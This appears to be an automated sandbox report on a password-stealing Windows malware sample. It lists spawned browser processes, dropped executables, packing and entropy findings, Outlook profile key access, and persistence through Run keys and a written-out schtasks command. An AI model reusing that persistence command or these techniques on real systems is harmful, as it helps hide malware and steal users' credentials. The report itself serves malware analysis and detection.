Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1976,i,13067442516428966182,10510495334177241877,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2088,i,9284688159329358542,7565992651462353756,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=2080,i,6539887644468832511,10903315424592384845,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2104,i,14647974237917707437,3396227101640439639,262144 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2352 --field-trial-handle=2024,i,5041607828718283965,3196036969284588987,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6444 --field-trial-handle=2024,i,5041607828718283965,3196036969284588987,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6620 --field-trial-handle=2024,i,5041607828718283965,3196036969284588987,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.facebook.com/login
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{D105A4D4-344C-48EB-9866-EE378D90658B}\InProcServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\ProgramData\MPGPH131\MPGPH131.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Detected unpacking (changes PE section rights)

Source: SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe

Static file information: File size 1529344 > 1048576

Source: SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x174c00

Source: SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: z:\task_1551543573\build\openh264\gmpopenh264.pdbV source: firefox.exe, 00000033.00000003.2832343051.0000026F50500000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Control.pdb source: SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe
Source:	Binary string: Control.pdbhj source: SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe
Source:	Binary string: RegAsm.pdb source: RegAsm.exe, 00000002.00000002.2596470514.000000000152A000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000007.00000000.2117805326.0000000000952000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: z:\task_1551543573\build\openh264\gmpopenh264.pdb source: firefox.exe, 00000033.00000003.2832343051.0000026F50500000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: RegAsm.pdb4 source: RegAsm.exe, 00000002.00000002.2596470514.000000000152A000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000007.00000000.2117805326.0000000000952000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: Environment.pdb source: explorhe.exe, 0000002E.00000002.4711406923.000000000144A000.00000004.00000020.00020000.00000000.sdmp, autorun[1].exe.46.dr, autorun.exe.46.dr

Data Obfuscation

Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Unpacked PE file: 15.2.PXBvYMcLF9IUsaGl9axr.exe.db0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:EW;Unknown_Section6:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:R;.rsrc:EW;Unknown_Section6:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Unpacked PE file: 46.2.explorhe.exe.950000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:EW;Unknown_Section6:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:R;.rsrc:EW;Unknown_Section6:EW;.data:EW;

.NET source code contains method to dynamically call methods (often used by packers)

Source: autorun[1].exe.46.dr, AaKKpFYFlTUg6do124.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: autorun.exe.46.dr, AaKKpFYFlTUg6do124.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

Contains functionality to check for running processes (XOR)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetCurrentHwProfileA,GetModuleHandleExA,GetModuleFileNameA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetComputerNameA,GetUserNameA,GetDesktopWindow,GetWindowRect,GetUserDefaultLocaleName,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,GetLocalTime,GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetSystemInfo,GlobalMemoryStatusEx,EnumDisplayDevicesA,EnumDisplayDevicesA,CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,Process32Next,CloseHandle,RegOpenKeyExA,RegEnumKeyExA,wsprintfA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,RegCloseKey,		2_2_0040FCB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetModuleHandleA,CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,Process32Next,CloseHandle,		2_2_0040BA50

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0044A530 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

2_2_0044A530

Source: initial sample

Static PE information: section where entry point is pointing to: .data

Source: amer[1].exe.2.dr	Static PE information: section name:
Source: amer[1].exe.2.dr	Static PE information: section name:
Source: amer[1].exe.2.dr	Static PE information: section name:
Source: amer[1].exe.2.dr	Static PE information: section name:
Source: amer[1].exe.2.dr	Static PE information: section name:
Source: amer[1].exe.2.dr	Static PE information: section name:
Source: PXBvYMcLF9IUsaGl9axr.exe.2.dr	Static PE information: section name:
Source: PXBvYMcLF9IUsaGl9axr.exe.2.dr	Static PE information: section name:
Source: PXBvYMcLF9IUsaGl9axr.exe.2.dr	Static PE information: section name:
Source: PXBvYMcLF9IUsaGl9axr.exe.2.dr	Static PE information: section name:
Source: PXBvYMcLF9IUsaGl9axr.exe.2.dr	Static PE information: section name:
Source: PXBvYMcLF9IUsaGl9axr.exe.2.dr	Static PE information: section name:
Source: explorhe.exe.15.dr	Static PE information: section name:
Source: explorhe.exe.15.dr	Static PE information: section name:
Source: explorhe.exe.15.dr	Static PE information: section name:
Source: explorhe.exe.15.dr	Static PE information: section name:
Source: explorhe.exe.15.dr	Static PE information: section name:
Source: explorhe.exe.15.dr	Static PE information: section name:

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004FB677 push ecx; ret	2_2_004FB68A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00492FC2 push 59000681h; ret	2_2_00492FC9
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E44220 push ecx; mov dword ptr [esp], edx	15_2_00E44222
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E3C32C push ecx; mov dword ptr [esp], eax	15_2_00E3C32D
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E284FC push 00E28528h; ret	15_2_00E28520
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E284C2 push 00E284F0h; ret	15_2_00E284E8
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E285D0 push 00E28604h; ret	15_2_00E285FC
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E3C590 push ecx; mov dword ptr [esp], edx	15_2_00E3C595
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E2856C push 00E28598h; ret	15_2_00E28590
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E28534 push 00E28560h; ret	15_2_00E28558
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E26658 push 00E266A9h; ret	15_2_00E266A1
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E40628 push ecx; mov dword ptr [esp], edx	15_2_00E4062A
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E30615 push 00E3079Ch; ret	15_2_00E30794
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E3C7B8 push ecx; mov dword ptr [esp], edx	15_2_00E3C7BD
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E3079E push 00E3080Fh; ret	15_2_00E30807
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E3A8E0 push 00E3A92Dh; ret	15_2_00E3A925
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E3C8D4 push ecx; mov dword ptr [esp], edx	15_2_00E3C8D9
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E46898 push ecx; mov dword ptr [esp], edx	15_2_00E4689D
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E269D0 push 00E269FCh; ret	15_2_00E269F4
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E3E9D8 push ecx; mov dword ptr [esp], edx	15_2_00E3E9D9
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E389B6 push 00E38A35h; ret	15_2_00E38A2D
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E30922 push 00E30950h; ret	15_2_00E30948
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E26912 push 00E26940h; ret	15_2_00E26938
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E3C918 push ecx; mov dword ptr [esp], edx	15_2_00E3C91D
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E38C90 push 00E38CBCh; ret	15_2_00E38CB4
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E22FD8 push eax; ret	15_2_00E23014
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E2CF1F pushad ; iretd	15_2_00E2CF24
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E3F3FC push ecx; mov dword ptr [esp], ecx	15_2_00E3F401
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E398E2 push 00E39A30h; ret	15_2_00E39A28
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E3982C push 00E3988Ch; ret	15_2_00E39884
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Code function: 15_2_00E37A80 push 00E37B28h; ret	15_2_00E37B20

Source: SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Static PE information: section name: .text entropy: 7.998374007382508
Source: amer[1].exe.2.dr	Static PE information: section name: entropy: 7.997800271005919
Source: amer[1].exe.2.dr	Static PE information: section name: entropy: 7.9887151454736
Source: amer[1].exe.2.dr	Static PE information: section name: entropy: 7.156560213905044
Source: amer[1].exe.2.dr	Static PE information: section name: entropy: 7.980228334334539
Source: amer[1].exe.2.dr	Static PE information: section name: .data entropy: 7.975703027890971
Source: PXBvYMcLF9IUsaGl9axr.exe.2.dr	Static PE information: section name: entropy: 7.997800271005919
Source: PXBvYMcLF9IUsaGl9axr.exe.2.dr	Static PE information: section name: entropy: 7.9887151454736
Source: PXBvYMcLF9IUsaGl9axr.exe.2.dr	Static PE information: section name: entropy: 7.156560213905044
Source: PXBvYMcLF9IUsaGl9axr.exe.2.dr	Static PE information: section name: entropy: 7.980228334334539
Source: PXBvYMcLF9IUsaGl9axr.exe.2.dr	Static PE information: section name: .data entropy: 7.975703027890971
Source: explorhe.exe.15.dr	Static PE information: section name: entropy: 7.997800271005919
Source: explorhe.exe.15.dr	Static PE information: section name: entropy: 7.9887151454736
Source: explorhe.exe.15.dr	Static PE information: section name: entropy: 7.156560213905044
Source: explorhe.exe.15.dr	Static PE information: section name: entropy: 7.980228334334539
Source: explorhe.exe.15.dr	Static PE information: section name: .data entropy: 7.975703027890971
Source: autorun[1].exe.46.dr	Static PE information: section name: .text entropy: 7.881952677820857
Source: autorun.exe.46.dr	Static PE information: section name: .text entropy: 7.881952677820857

Source: autorun[1].exe.46.dr, AaKKpFYFlTUg6do124.cs	High entropy of concatenated method names: 'HxiaS3suFi', 'nW4lBacjpc', 'RhtauXCTpS', 'fhNa2hS7Ku', 'N3IaykJdlr', 'ATaaqT3SpG', 'ALsF2tbbQX', 'oqtgAj5O4', 'AguBUkQFd', 'ydFN0MsLF'
Source: autorun.exe.46.dr, AaKKpFYFlTUg6do124.cs	High entropy of concatenated method names: 'HxiaS3suFi', 'nW4lBacjpc', 'RhtauXCTpS', 'fhNa2hS7Ku', 'N3IaykJdlr', 'ATaaqT3SpG', 'ALsF2tbbQX', 'oqtgAj5O4', 'AguBUkQFd', 'ydFN0MsLF'

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\go[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\autorun[1].exe	Jump to dropped file
Source: C:\Program Files\Mozilla Firefox\firefox.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\clip64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	File created: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	File created: C:\Users\user\AppData\Local\Temp\1000397001\autorun.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\MPGPH131\MPGPH131.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\amer[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe	Jump to dropped file
Source: C:\Program Files\Mozilla Firefox\firefox.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	File created: C:\Users\user\AppData\Roaming\006700e5a2ab05\clip64.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\ProgramData\MPGPH131\MPGPH131.exe

Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Code function: 16_2_0062F98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		16_2_0062F98E
Source: C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe	Code function: 16_2_006A1C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		16_2_006A1C41

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0049E590 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_0049E590

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.24221.17365.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
